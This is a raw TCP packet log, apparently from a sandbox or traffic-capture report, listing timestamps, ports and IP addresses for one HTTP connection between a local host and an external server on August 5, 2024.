Aug 5, 2024 12:01:30.770520926 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770587921 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770600080 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770647049 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770746946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770757914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770776033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770788908 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.770792007 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.770826101 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.771011114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.771023035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.771033049 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:30.771061897 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:30.771089077 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.113934994 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.113949060 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.113960981 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114005089 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114137888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114149094 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114160061 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114171982 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114208937 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114218950 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114273071 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114377975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114387989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114393950 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114398003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114409924 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114423037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114437103 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114478111 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114824057 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114834070 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114845037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114856005 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114867926 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114872932 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114878893 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114885092 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114891052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114902973 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114916086 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.114931107 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.114964008 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.115449905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115459919 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115469933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115479946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115493059 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115503073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115514040 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115514994 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.115526915 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115537882 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115549088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115550995 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.115576982 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.115605116 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.115895033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115972042 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.115983963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116028070 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.116139889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116152048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116162062 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116174936 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116183043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.116223097 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.116378069 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116391897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116401911 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.116434097 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.116472006 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.411781073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.411840916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.411851883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.411953926 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.411968946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.411981106 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.411989927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412000895 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412015915 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412058115 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412231922 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412242889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412254095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412266016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412292004 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412317038 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412496090 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412506104 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412517071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412522078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412533045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412545919 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412566900 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412612915 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412863016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412873983 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412883043 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412893057 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.412910938 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.412955999 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413084984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413100958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413110018 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413122892 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413136005 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413177967 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413326979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413337946 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413348913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413372993 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413402081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413412094 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413414955 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413427114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413439035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413454056 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413455963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413467884 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413480043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413513899 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.413948059 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413959026 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.413969994 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414004087 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.414165020 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414176941 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414191961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414205074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414215088 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.414277077 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.414295912 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414345980 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.414396048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414408922 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414419889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414433002 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414444923 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414458036 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414462090 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.414469957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.414504051 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.454555035 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.711507082 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711544037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711555958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711673975 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.711693048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711703062 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711713076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711730003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711740017 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.711783886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.711971045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711982012 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.711992025 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712002993 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712014914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712019920 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712049007 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712075949 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712268114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712279081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712289095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712300062 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712311029 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712321043 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712367058 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712538004 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712549925 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712588072 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712595940 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712606907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712616920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712627888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.712650061 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.712677956 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713071108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713080883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713092089 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713104010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713114977 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713115931 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713124990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713135958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713144064 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713149071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713160992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713170052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713176012 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713181019 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713192940 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713207960 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713236094 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713805914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713816881 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713826895 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713840008 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713850021 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713850975 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713861942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713874102 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713876009 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713891029 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713896990 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713922977 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713932991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.713943958 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.713984013 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.714456081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714467049 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714478016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714488029 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714499950 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714518070 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714519978 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.714524031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714529991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714541912 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714553118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:31.714557886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.714576006 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:31.714602947 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.055963993 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056020975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056034088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056076050 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056096077 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056118011 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056122065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056133986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056166887 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056193113 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056277990 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056288958 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056319952 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056375980 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056386948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056396961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056421995 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056463957 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056490898 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056510925 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056552887 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056586027 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056668997 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056679010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056708097 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056792974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056803942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056819916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056828976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056839943 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056878090 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.056957960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.056968927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057008028 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057107925 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057117939 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057128906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057146072 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057158947 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057161093 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057178020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057216883 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057334900 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057344913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057357073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057365894 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057406902 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057495117 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057512999 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057523966 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057535887 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057562113 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057598114 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057652950 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057706118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057717085 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057727098 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057748079 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057775974 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.057861090 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057924032 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057938099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.057977915 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058043003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058053017 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058065891 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058111906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058111906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058160067 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058171034 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058182955 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058223963 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058284044 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058325052 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058374882 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058386087 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058397055 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058408976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058418989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058424950 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058430910 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058463097 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058481932 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058881044 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058892965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058902979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058912992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058924913 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058929920 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.058934927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058944941 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058963060 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.058975935 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.059022903 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.059043884 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.059103966 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.059144974 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399183035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399245024 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399255991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399291039 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399384975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399398088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399410009 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399422884 CEST	80	49894	27.221.16.149	192.168.2.7
